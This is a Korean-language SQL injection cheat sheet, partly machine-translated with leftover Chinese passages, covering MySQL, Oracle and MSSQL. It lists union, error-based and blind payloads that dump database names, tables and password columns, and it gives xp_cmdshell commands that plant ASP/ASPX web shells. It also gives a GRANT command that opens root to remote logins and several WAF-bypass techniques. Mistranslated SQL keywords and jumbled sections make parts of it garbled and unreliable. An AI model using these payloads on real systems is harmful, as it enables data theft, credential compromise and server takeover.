SQL 인젝션의 공격 방식은 데이터베이스에서 반환된 내용을 처리하는 애플리케이션에 따라 명시적 인젝션, 오류 인젝션, 블라인드 인젝션으로 나눌 수 있습니다.
공격자는 현재 인터페이스 콘텐츠에서 원하는 콘텐츠를 직접 얻을 수 있습니다.
데이터베이스 쿼리 반환 결과는 페이지에 표시되지 않지만 애플리케이션은 데이터베이스 오류 메시지를 페이지에 인쇄하므로 공격자는 데이터베이스 오류 문을 구성하고 오류 메시지에서 원하는 내용을 얻을 수 있습니다. .
직관적인 페이지에서는 데이터베이스 쿼리 결과를 얻을 수 없습니다. 공격자는 데이터베이스 로직을 사용하거나 데이터베이스 라이브러리의 실행을 지연시켜 원하는 내용을 얻을 수 있습니다.
Mysql 수동 주입
?id=1' order by 4--+ ?id=0' union select 1,2,3,database()--+ ?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+ ?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+ group_concat(column_name) 可替换为 unhex(Hex(cast(column_name+as+char)))column_name ?id=0' union select 1,2,3,group_concat(password) from users --+ group_concat 可替换为 concat_ws(',',id,users,password ) ?id=0' union select 1,2,3,password from users limit 0,1--+
오류 주입
1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4 .geometry컬렉션( )
select \* from test where id=1 and geometrycollection((select \* from(select \* from(select user())a)b));
5.multipoint()
select \* from test where id=1 and multipoint((select \* from(select \* from(select user())a)b));
6.polygon()
select \* from test where id=1 and polygon((select \* from(select \* from(select user())a)b));
7.multipolygon()
select \* from test where id=1 and multipolygon((select \* from(select \* from(select user())a)b));
8.linestring()
select \* from test where id=1 and linestring((select \* from(select \* from(select user())a)b));
9.multilinestring()
select \* from test where id=1 and multilinestring((select \* from(select \* from(select user())a)b));
10.exp()
select \* from test where id=1 and exp(\~(select \* from(select user())a)); 爆库:?id=1' and updatexml(1,(select concat(0x7e,(schema\_name),0x7e) from information\_schema.schemata limit 2,1),1) -- + 爆表:?id=1' and updatexml(1,(select concat(0x7e,(table\_name),0x7e) from information\_schema.tables where table\_schema='security' limit 3,1),1) -- + 爆字段:?id=1' and updatexml(1,(select concat(0x7e,(column\_name),0x7e) from information\_schema.columns where table\_name=0x7573657273 limit 2,1),1) -- + 爆数据:?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- + concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1) 盲注
타임 블라인드 주입
자주 사용하는 함수 sleep()
분할 함수 substr, substring, left
분할 함수 ascii() hex()를 인코딩한 후에는 따옴표가 필요하지 않습니다
그래도 필요합니다 일반 시간 블라인드 주입에 사용합니다 조건부 판단 기능
if (expre1, expre2, expre3)
expre1이 true이면 expre2를 반환하고, false이면 expre3을 반환
?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+ ?id=1' and if((substr((select user()),1,1)='r'),sleep(5),1)--+
Boolean blind 주입
?id=1' and substr((select user()),1,1)='r' -- + ?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- + //如果 IFNULL 第一个参数的表达式为 NULL,则返回第二个参数的备用值,不为 Null 则输出值 ?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- + //若所有的字符串均相同,STRCMP() 返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1 ,其它情况返回 1 insert,delete,update
이 주입이 나타납니다. 등록 시 IP 헤더, 게시판 등 데이터를 작성해야 하는 위치(예: sqlmap 사용)는 많은 쓰레기 데이터를 생성합니다.
시험판 삽입, 따옴표, 큰따옴표, 이스케이프 문자는 명령문이 작성되는 것을 방지합니다. 정상적으로 실행되다가 삽입이 실패하면 업데이트가 실패하고 딥스 주입이 있는지 테스트
두 번째 주입과 와이드 바이트 주입
두 번째 주입:
작은따옴표 없이 sql 문에서 다음을 수행합니다. 작은따옴표가 없도록 16진수 인코딩
와이드 바이트 주입:
작은따옴표는 '로 이스케이프되며, mysql은 이를 %5c로 인코딩합니다. 와이드 바이트의 2바이트는 한자를 나타내므로 %df를 추가합니다. %5c는 한자 "연산" "이 되어 이스케이프를 우회합니다.
Oracle 수동 주입
lian 주입
?id=-1' union select user,null from dual-- ?id=-1' union select version,null from v$instance-- ?id=-1' union select table\_name,null from (select \* from (select rownum as limit,table\_name from user\_tables) where limit=3)-- ?id=-1' union select column\_name,null from (select \* from (select rownum as limit,column\_name from user\_tab\_columns where table\_name ='USERS') where limit=2)-- ?id=-1' union select username,passwd from users-- ?id=-1' union select username,passwd from (select \* from (select username,passwd,rownum as limit from users) where limit=3)--
오류 보고
?id=1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--?id=1' and 1=ctxsys.drithsx.sn(1,(select banner from v$version where banner like 'Oracle%))-- ?id=1' and 1=ctxsys.drithsx.sn(1,(select table\_name from (select rownum as limit,table\_name from user\_tables) where limit= 3))-- ?id=1' and 1=ctxsys.drithsx.sn(1,(select column\_name from (select rownum as limit,column\_name from user\_tab\_columns where table\_name ='USERS') where limit=3))-- ?id=1' and 1=ctxsys.drithsx.sn(1,(select passwd from (select passwd,rownum as limit from users) where limit=1))--
Boolean blind 주입
?id=1' and 1=(select decode(user,'SYSTEM',1,0,0) from dual)-- ?id=1' and 1=(select decode(substr(user,1,1),'S',1,0,0) from dual)-- ?id=1' and ascii(substr(user,1,1))> 64--
time blind 주입
?id=1' and 1=(case when ascii(substr(user,1,1))> 128 then DBMS\_PIPE.RECEIVE\_MESSAGE('a',5) else 1 end)-- ?id=1' and 1=(case when ascii(substr(user,1,1))> 64 then DBMS\_PIPE.RECEIVE\_MESSAGE('a',5) else 1 end)--
SQL 수동 주입
삽입 지점이 존재하는지 확인
디지털 주입
입력
and 1=1
and 1=2
반환이 다른 경우 주입 지점
예:
http: //www.xxx.cn/news.php?p=1&id=4'는 오류를 반환합니다
http://www.xxx.cn/news.php?p=1&id= 4 및 1=1은 올바른
http ://www.xxx.cn/news.php?p=1&id=4를 반환하고 1=2는 오류
문자 삽입
url을 반환한 다음
' 및 1=1 및 '1'='1
' 및 1=2 및 '1'='1
http://www.xxx.cn/news.php?p=1&id=4'는 오류
를 반환합니다. http://www.xxx.cn/news.php?p=1&id=4' 및 1=1 및 '1'='1이 올바르게 반환됩니다
http://www.xxx.cn/news.php?p =1&id=4' 및 1=2 및 '1'='1은 오류를 반환합니다.
검색 삽입
입력 상자에
'을 입력하면 오류
x%' 및 1=1 및 '%'=가 반환됩니다. '는 올바른
x%' 및 1 =2 및 '%'=' 반환 오류
판단 필드 번호
번호 유형
http://www.xxx.cn/news.php?p=1&id=4 순서 by 26 반환 올바른
http://www.xxx.cn/news.php?p=1&id=4 order by 27 반환 오류
결론: 필드 번호 26.
문자 유형
http://www.xxx.cn/news.php?p=1&id=4' 26 단위로 정렬 # 올바른 반환
http://www.xxx.cn/news.php?p= 1&id=4' order by 27 # Return error
결론: 필드 번호 26.
검색 유형
x%' order by 26 # 올바른
x%' order by 27 반환 # 오류 반환
결론: 필드 번호 26.
표시 가능한 필드를 찾는 중
숫자 유형
http://www.xxx.cn/news.php?p=1&id=4 및 1=2 조합 선택 1,2,3,4,5,6,7, 8,9,....
문자 종류
http://www.xxx.cn/news.php?p=1&id=4' 및 1=2 조합 선택 1,2,3,4,5, 6,7,8,9,.... #
검색 유형
x%' 및 1=2 조합 선택 1,2,3,4,5,6,7,8,9,... #
데이터베이스 이름을 확인하세요
숫자 유형
http://www.xxx.cn/news.php?p=1&id=4 and 1=2 Union Select 1,2,database(),4,5 , 6,7,8,9,....
문자 유형
http://www.xxx.cn/news.php?p=1&id=4' 및 1=2 조합 선택 1,2,데이터베이스 ( ),4,5,6,7,8,9,.... #
검색 유형
x%' 및 1=2 조합 선택 1,2,database(),4,5,6,7 , 8,9,.... #
데이터베이스의 테이블 이름을 확인하세요
numeric
http://www.xxx.cn/news.php?p=1&id=4 and 1=2 Union Select 1, group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables 여기서 table_schema='데이터베이스 이름'
데이터베이스 이름은 16진수
문자 유형
http://www.xxx.cn/news.php?p=1&id=4' 및 1=2 Union Select 1,group_concat(table_name),3 ,4를 사용할 수도 있습니다. ,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='database name' #
데이터베이스 이름은 16진수를 사용할 수도 있습니다. Make
검색 유형
X%' 및 1=2 조합 선택 1,2,group_concat(table_name),4,5,6,7,8,9,... from information_schema.tables where table_schema='데이터베이스 이름' #
데이터베이스 이름에는 16진수를 사용할 수도 있습니다.
조회 테이블의 열 이름
numeric
http://www.xxx.cn/news.php?p=1&id=4 and 1 =2 Union Select 1 ,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns 여기서 table_name='테이블 이름 '
테이블 이름은 16진수
문자 유형
http://www.xxx.cn/news.php?p=1&id=4' 및 1=2 Union Select 1,group_concat(column_name) ,3,4,5, 6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='table name' #
테이블 이름도 사용할 수 있습니다. 16진수
검색 유형
x%' 및 1=2 유니온 선택 1,2,group_concat(column_name),4,5,6,7,8,9,... from information_schema.columns where table_name= '테이블 이름' #
테이블 이름은 16진수를 사용할 수도 있습니다
테이블에서 데이터를 찾아보세요
숫자 유형
http://www.xxx.cn/news.php?p=1&id=4 and 1=2 Union Select 1,group_concat( 사용자 이름, 비밀번호),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 테이블 이름
문자 유형
http://www.xxx .cn/news.php?p=1&id=4' 및 1=2 통합 선택 1,group_concat(사용자 이름, 비밀번호),3,4,5,6,7,8,9 ,10,11,12,13, 테이블 이름#
검색 유형
x%'에서 14,15,16,17 및 1=2 조합 선택 1,2,group_concat(사용자 이름, 비밀번호),4,5, 6,7,8,9,. ... 테이블 이름에서#
버전 표시: 버전() 선택;
문자 집합 표시: @@character_set_database 선택;
데이터베이스 표시 표시 데이터베이스 표시;
표시 테이블 이름: 테이블 표시;
표시 컴퓨터 이름: @@hostname 선택;
시스템 버전 표시: @@version_compile_os 선택;
mysql 경로 표시: @@basedir 선택;
데이터베이스 경로 표시: @@datadir 선택;
루트 비밀번호 표시: mysql에서 사용자, 비밀번호 선택 .user;
외부 연결 열기: GRANT ALL PRIVILEGES ON . TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;
MySQL 함수 활용
MySQL은 load_file() 함수를 제공하여 사용자가 파일을 빠르게 읽을 수 있도록 도와줍니다. 단, 파일 위치는 서버에 있어야 하고 파일 경로는 절대 경로여야 하며 루트 권한이 필요합니다
SQL 문은 다음과 같습니다: Union Select 1,load_file('/etc/passwd') ,3,4 ,5 #
일반적으로 일부 삽입 방지 문은 작은따옴표의 발생을 허용하지 않으므로 다음 문을 사용하여 우회할 수 있습니다. 예 경로가 16진수로 변환됩니다.
MSSQL 수동 주입
SQL 주입과 달리 SQL은 표시된 필드를 사용하며 MSSQL은 오류 주입을 사용하여 악성 SQL 문을 삽입하여 쿼리가 오류를 보고하도록 합니다. 보고된 오류에는 우리가 원하는 필수 정보가 표시됩니다. 삽입 지점:
www.xxx.cn/xxx/xxx.aspx?id=1
Query 데이터베이스 버전
@@version: 데이터베이스 버전 정보를 나타내는 MSSQL 전역 변수. 테스트 문:
http://www.xxx.cn/xxx/xxx.aspx?id=1 and @@version>0
참고: "and @@vsersion>0"은 "로 쓸 수도 있습니다. 및 0" /@@version>0"
오류 메시지:
nvarchar 값은 'Microsoft SQL Server 2008 R2(SP3) - 10.50.6000.34(X64) Aug 19 2014 12:21:34 Copyright (c) Microsoft Windows NT 6.1 이유: @@version은 MSSQL의 전역 변수입니다. "?id=1" 뒤에 "and @@version>0"을 추가하면 "and" 뒤의 문은 "@@version"이 됩니다. 캡쳐를 강제로 int형으로 변경하고 크기를 0과 비교했는데, 유형 변환이 실패해 데이터베이스 정보가 노출됐다. 컴퓨터 이름 쿼리 nvarchar 값 'WINDOWS-XXXXXX'를 데이터 유형 int로 변환하지 못했습니다. 현재 데이터베이스 이름 쿼리 nvarchar 값 'abc'를 데이터 유형 int로 변환하지 못했습니다. 현재 데이터베이스에 연결된 사용자를 쿼리합니다. nvarchar 값 'dbo'를 데이터 유형 int로 변환하지 못했습니다. 참고: dbo가 표시되면 현재 데이터베이스 사용자 대부분이 dba 권한을 가지고 있는 것입니다. 다른 데이터베이스 이름 쿼리 오류 메시지: nvarchar 값 'master'를 데이터 유형 int로 변환하는 동안 실패했습니다. 다른 데이터베이스는 다음과 같이 작성됩니다. http://www.xxx.cn/xxx/xxx.aspx?id=1 및 (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master ' ))>0 계속하려면 다음과 같이 작성하세요: http://www.xxx.cn/xxx/xxx.aspx?id=1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master','abc'))>0 테이블 이름 확인: http://www.xxx.cn/xxx/xxx.aspx ?id= 1 및 (type='U' AND is_ms_shipped=0인 abc.sys.all_objects에서 상위 1개 이름 선택)>0 오류 메시지: nvarchar 값 'depart'를 데이터 유형 int로 변환하지 못했습니다. 다른 테이블 탐색: http://www.xxx.cn/xxx/xxx.aspx?id=1 및 (abc.sys.all_objects에서 상위 1개 이름 선택, 여기서 type='U' AND is_ms_shipped=0 및 ('출발')에 없는 이름)>0 계속: http://www.xxx.cn/xxx/xxx.aspx?id=1 및 (abc.sys에서 상위 1개 이름 선택. all_objects 여기서 type='U' AND is_ms_shipped=0 and name not in ('depart','worker'))>0 필드 이름 확인: http: //www.xxx.cn/xxx/xxx.aspx?id=1 및 (abc.information_schema.columns에서 상위 1개 COLUMN_NAME 선택, 여기서 TABLE_NAME='depart')>0 오류 메시지: In nvarchar 변환 데이터 유형 int에 'ID' 값을 지정하지 못했습니다. 다른 필드 탐색: http://www.xxx.cn/xxx/xxx.aspx?id=1 및 (abc.information_schema.columns에서 상위 1개 COLUMN_NAME 선택, 여기서 TABLE_NAME='출발'이고 COLUMN_NAME이 아님) in('ID'))>0 계속: http://www.xxx.cn/xxx/xxx.aspx?id=1 및 (abc.information_schema.columns에서 상위 1개 COLUMN_NAME 선택, 여기서 TABLE_NAME= '출발' 및 COLUMN_NAME이 ('ID','NAME'))>0 쿼리 데이터: http://www.xxx.cn/xxx/xxx.aspx? 1 및 (출발에서 상위 1개의 비밀번호 선택)>0 오류 메시지: nvarchar 값 'B5A1EF8730200F93E50F4F5DEBBCAC0B'를 데이터 유형 int로 변환하지 못했습니다. 데이터 권한이 dba이고 웹 사이트의 절대 경로를 알고 있다면 이 명령문을 사용하여 문장을 작성할 수 있습니다. Trojan: asp Trojan: http://www .xxx .cn/xxx/xxx.aspx?id=1;exec master..xp_cmdshell 'echo "<%@ LANGUAGE=VBSCRIPT %>;<%eval request(chr(35))%>'' " > ; d:KfSitekaifeng2.asp'-- aspx 트로이 목마: http://www.xxx.cn/xxx/xxx.aspx?id=1;exec master..xp_cmdshell 'echo "<%@ LANGUAGE= Jscript %><%eval(Request("sb"),"unsafe")%>''" >C:inetpubwwwroot2.aspx' -- 원칙은 SQL Server가 스택 쿼리를 지원한다는 것입니다. xp_cmdshell은 cmd 명령을 실행할 수 있습니다. cmd 명령에서 [echo content>file]을 사용하여 디스크에 파일을 쓸 수 있습니다. http://www.xxx.com/xxx/xxx.aspx?username=xxx Firefox에서 hackbar 도구의 인코딩 아래에 있는 "HEX 인코딩"을 사용하여 문자열을 쉽게 인코딩할 수 있습니다. hex를 입력한 다음 오류 주입을 사용하여 이 웹사이트에 주입합니다. select Convert(int,@@version) 16진수 인코딩: 0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 그런 다음 다음 방법을 사용하세요. 주입: http://www.xxx.com/xxx/xxx. aspx? 사용자 이름=xxx';dEcLaRe @s vArChAr(8000) sEt @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 eXeC(@s)– 오류 메시지: 에서 nvar char 값 'Microsoft SQL Server 2008 R2(RTM) - 10.50.1600.1 (X64) 2010년 4월 2일 15:48:46 Copyright (c) Windows NT 6.1(빌드 7601: 서비스 팩 1)(하이퍼바이저)의 Microsoft CorporationStandard Edition(64비트)' 데이터 유형 int로 변환하지 못했습니다. 다음 주입 문에 주의하세요. dEcLaRe @s vArChAr(8000) //지역 변수 @s 선언, 유형은 varchar(8000) sEt @s=0x73656c65637420636f6e7665727428696e742c4040 7665727 3696f6e29 //@s에 값 할당 , "select Convert (int,@@version)" 16진수 인코딩 eXeC(@s) //exec() 함수를 호출하여 "@s"에 있는 콘텐츠를 실행합니다. select Convert(int,db_name()) select Convert(int,User_Name()) select Convert(int,(select top abc[데이터베이스 이름].sys.all_objects(유형='U' AND is_ms_shipped=0))에서 1개의 이름 선택 변환(int,(유형='U'인 abc[데이터베이스 이름].sys.all_objects에서 상위 1개 이름 선택) AND is_ms_shipped=0이고 이름이 ('CMS_ArticleClass'))) select Convert(int,(abc[데이터베이스 이름].information_schema.columns에서 상위 1개 COLUMN_NAME 선택, 여기서 TABLE_NAME='CMS_Userinfo[테이블 이름]')) select Convert(int,(abc[데이터베이스 이름]에서 상위 1개 COLUMN_NAME 선택). information_schema.columns 여기서 TABLE_NAME='CMS_Userinfo[테이블 이름]' 및 COLUMN_NAME이 ('id'))) select Convert(int,(CMS_Admin에서 상위 1개 사용자 이름 선택)) select Convert(int, (CMS_Admin에서 상위 1개의 비밀번호 선택) 1.id-1. 페이지가 올바른 페이지로 반환되면 +1할 수 있나요? (www.test.com/xsn.php?id=12+1) 아니요. 더하기 기호는 URL의 공백을 의미하기 때문입니다. 2. mysql에 얼마나 많은 주석이 있는지 아시나요? 세 가지 유형: ①.# 이 댓글은 줄 끝까지입니다. ②./여러 줄에 대한 설명/; ③.–+ 이 댓글은 줄 끝까지입니다. 세 번째 방법은 제가 이런 글쓰기 방식에 익숙하지 않아서 설명이 필요합니다. 아직도 코멘트 문자로 '-'라는 느낌이 좀 남아있지만 '-+'는 머리가 아프네요. 실제로는 -입니다. - 뒤에 공백이 있으니 주의하시기 바랍니다. URL에 공백을 직접 입력하면 브라우저는 자동으로 이를 무시하고 데이터베이스에 전달하지 못합니다. 그래서 특별히 더하기 기호로 바꾸었습니다. 3. "관리자에서 * 선택"을 실행할 수 있나요? 그렇지 않다면 설명해주세요. 실행할 수 없습니다. 이중 레이어 선택을 사용하는 경우 두 번째 레이어를 묶어야 합니다. 그렇지 않으면 유효하지 않습니다. 공백이 필터링된 경우 이를 우회하는 방법을 알고 있나요? 아니면 공백을 대체할 수 있는 문자를 알고 있나요? 이러한 문자를 공백 문자라고 합니다. 예를 들어 un%0aion은 공용체로 처리됩니다. 공백이 필터링되면 가능한 SQL 문은 다음과 같습니다. uid=45또는1=1인 메시지에서 선택하고 //를 사용하여 공백을 바꿀 수 있습니다. http://www.xxx.com/index.php?id= 45 //또는/**/1=1 추가: %09 %0A %0D + /|–|/ /@–|/ /?–|/ /|%20–%20|/는 공백을 대체할 수 있습니다. 5.Windows에서 Oracle 데이터베이스의 권한은 무엇입니까? Windows에서 Oracle 데이터베이스는 시스템 권한으로 실행되어야 합니다. 6. SQL 인젝션과 블라인드 SQL 인젝션의 차이점은 무엇인가요? 일반 SQL 인젝션에서는 애플리케이션이 데이터베이스에 있는 데이터를 반환하여 사용자에게 제시하지만, 블라인드 SQL 인젝션 취약점의 경우 인젝션의 참 및 거짓 조건에 해당하는 두 가지 다른 응답만 얻을 수 있으며, 애플리케이션은 true와 false 조건에 대해 서로 다른 값이 반환되지만 공격자는 쿼리 결과를 검색할 수 없습니다. 7. SQL 주입 취약점의 주요 원인은 무엇인가요? 웹 애플리케이션에서 사용자가 제공한 데이터를 제대로 검토하지 못하고 출력을 인코딩하지 못하는 것이 문제의 주요 원인입니다. 8. 누적 쿼리란 무엇인가요? 단일 데이터베이스 연결에서는 여러 개의 쿼리 시퀀스가 실행되는데, 누적 쿼리 허용 여부는 SQL 인젝션 취약점의 악용 여부에 영향을 미치는 중요한 요소 중 하나입니다. MYSQL에서는 SELECT * FROM member; DROP member;가 실행될 수 있습니다. 데이터베이스는 확실히 스택 쿼리를 지원하지만 PHP가 스택 쿼리의 SQL 문을 실행하도록 하는 것은 불가능할 수 있습니다. /*!*/ 무슨 뜻인가요? MYSQL 데이터베이스의 경우 주석 시작 부분에 느낌표를 추가하고 데이터베이스 버전 번호를 추가하면 데이터베이스 버전이 포함된 버전보다 높거나 같으면 주석이 코드로 구문 분석됩니다. 주석에서 코드가 구현됩니다. select 1 /!40119 + 1/ 쿼리 결과: return 2(MySQL 버전은 4.01.19 이상) return 1(기타 경우) 10 '거르는?' like 키워드 대체 사용을 고려할 수 있습니다. admin 11과 같은 사용자 이름을 사용하는 사용자의 비밀번호를 선택하세요. '/**/'교체: union//select//password//from//users//where//username//like//admin 키워드가 필터링된 경우, MySQL, 키워드 내부에 인라인 주석을 사용하여 이를 우회할 수도 있습니다: uni//on//sel//ect//password//fr//om//users//wh//ere// username//like //admin; 12.SQL 주입에 '+'가 있습니까? MSSQL: MSSQL에서는 "+" 연산자가 문자열 연결 및 추가 작업에 사용됩니다. '1'+'1'='11', 1+1=2; MySQL: MySQL에서는 " +" 연산자는 덧셈 연산에만 사용됩니다, '1'+'1'='2', 1+1=2; Oracle: Oracle에서 "+" 연산자는 덧셈 연산, '1'+'에만 사용됩니다. 1'='2', 1+1=2. 13. 데이터베이스의 문자열 연결? MSSQL: 'a'+'b'='ab' MYSQL: 'a' 'b'='ab' Oracle: 'a'|'b'='ab' 14. 기호 MSSQL: '-- '(다음 공백에 주의), '/.../' MySQL: '-- ','# ','/.../', --는 다음과 같아야 합니다. 다음에 하나 이상의 공백이 있어야 합니다. Oracle: '-- ','/.../' 세 데이터베이스에서 공통 주석 문자는 '--'입니다. 조합/**/select union/aaaa%01bbs/select union/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/select 사용을 고려할 수 있습니다. 인라인 댓글: /!xxxx/ MySQL空白符:%90,%0A,%0B,%0D,%20,%0C,%A0,/xxx/ 正则的空白符:%09,%0A,%0B,%0D,%20 Example-1:union%250Cselect Example-1:union%25A0select concat%2520( concat/**/( concat%250c( concat%25a0( select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0 select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0 select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9,0 Error-based SQL注入函数非常容易被忽略 MySQL特殊语法 select{x table_name}from{x information_schema.tables}; 以注释绕过为例子,开始Fuzz 注释符绕过: *先测试最基本的: union/**/select *再测试中间引入特殊字:union/aaaa%01bbs/select *最后测试注释长度:union/aaaaaaaaaaaaaaaaaaaaaaa/select 最基本的模式: union/something/select 大小写绕过 即使在程序中设置了过滤关键字,但由于过滤过程中没有深入分析组成关键字的部分,所以只能对整体进行过滤。 例如:and过滤。当然这种过滤只是发现关键字出现,并不会对关键字处理。可以通过修改关键字的内字母大小写来绕过过滤措施。 如果在程序中设置遇到关键字时将其替换为一个空字符串,那么将不会发生SQL注入攻击。对于这样的过滤策略可以使用双写绕过。因为在过滤过程中只进行了一次替换。 例如:过滤了union 只要发现union 无论大小写都会被替换为空。这是就可以通过双写uniunionon的写法来对过滤进行绕过。 可以利用网络中的URl在线编码,绕过SQL注入的过滤机制。 http://tool.chinaz.com/Tools/urlencode.aspx 1 在Mysql中内容注释中的内容可以被当做SQL语句执行。 Mysql一些特性: 1、Mysql中的大小写不敏感,大写和小写一样。 2、Mysql中的十六进制与URL编码。 3、符号和关键字替换 and --> &&、or --> || 4、内联注释与多行注释 /!内联注释/ /多行注释/。 5、Mysql中会自动识别URL与Hex编码好的内容。 绕过策略: 1、大小写变形,or,OR,oR,Or,and,And,AND,aND等。 2、在这两个敏感词汇中添加注释,例如:a/**/and 双写:oorr 3、利用符号替代 and–>&&、or–>|| 编码:hex,urlencode 空格URL编码: %0a 新建一行 %0c 新的一页 %0d return功能 %0b TAB键(垂直) Sqlmap安全检测: sqlmap -u “URL” --hex --dbs --batch 编码%0a、加入/**/符,union/select大小写、双写等绕过。 위 내용은 SQL 인젝션의 유형은 무엇입니까?의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!
@@servername: 컴퓨터 이름을 나타내는 MSSQL 전역 변수입니다. 오류 메시지:
db_name(): 현재 사용되는 데이터베이스 이름입니다. 오류 메시지:
User_Name(): 현재 데이터베이스에 연결된 사용자입니다. 오류 메시지:
다른 데이터베이스 폭발:http://www.xxx.cn/xxx/xxx.aspx?id=1 및 (Master..SysDatabases에서 상위 1개 이름 선택)>0
데이터베이스의 테이블 이름을 쿼리하세요
테이블의 열 이름 또는 필드 이름을 쿼리합니다
폭발적인 데이터
문장 작성 Trojan
16진수 인코딩을 사용하여 WAF 우회
데이터베이스 버전 분해
현재 데이터베이스 폭발
현재 사용자 폭발
Explode
분해된 필드
폭발적인 데이터
SQL 주입 관련 Q&A
WAF 우회
규칙 수준 우회
SQL 주석 문자 우회
공백 우회:
函数分隔符号:
浮点数词法分析:
利用error_based进行SQL注入:extractvalue(1,concat(0x5c,md5(3)));
updatexml(1,concat(0x5d,md5(3)),1);
GeometryCollection((select * from (select * from
(select@@version)f)x))
polygon((select*from (select name_const(version(),1))x))
linestring()
multipoint()
multilinestring()
multipolygon()
每一个点都能找到绕过的方法
常规绕过手段
双写绕过
编码绕过
内联注释绕过
绕过过滤and和or的SQL注入
绕过去除空格的SQL注入
绕过去除(union和select)的SQL注入